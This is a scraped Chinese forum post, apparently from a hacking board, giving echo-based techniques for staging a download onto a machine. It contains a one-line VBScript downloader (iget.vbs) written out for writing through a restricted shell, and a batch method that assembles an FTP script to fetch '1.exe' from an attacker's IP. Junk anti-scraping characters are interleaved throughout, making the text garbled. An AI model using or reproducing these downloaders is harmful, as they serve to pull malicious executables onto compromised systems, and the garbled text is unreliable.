- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法:
. F( u5 O* l$ F! o5 u4 ^; ~* H* M* s1.iget.vbs一次写入
8 m+ ~1 b# i* P. j3 o8 H在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
! z u9 ] a) x. G& r0 x
' L0 K. ^* P! m. V( `" |Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
" ~ y, w+ w2 N$ _2 H5 Q6 R1 U) m, M0 k
这样我们可以一次echo成功,echo版本:
: ], e8 [, S" [ t: w% F
# w6 N) t3 [! `6 y5 ^! Oecho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
! N+ i3 c, R' p( y& F* [1 }( m0 e4 `/ v' z
/ G* K5 ^, a. Y# Z/ e2.bat调用ftp脚本的写法(by envymask)
j8 i' d+ m# [1 k8 R* B+ C5 E, K Y L8 x- O4 s& C0 A2 }4 z" ?
echo ftp>1.vbs : U F( `+ A# b8 I' i# A4 \# q
echo open ip>2.vbs 9 |/ i0 N9 a( w% R% O; n: I* T
echo u>3.vbs
- T# z' c8 P: V7 Fecho s>4.vbs 5 O' I/ A5 T- P: S( j& U
echo binary>5.vbs
/ A" K4 O' x0 q5 x, U! u" N: G% U+ Kecho get 1.exe>6.vbs
7 M j1 U( C, X: H* W6 pecho bay>7.vbs
0 B# g6 v0 v* o$ N N, r, b$ y; ]4 T$ [0 _
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs ! t- J3 \6 l7 r; W* [, r2 D) T
</P> |
zan
|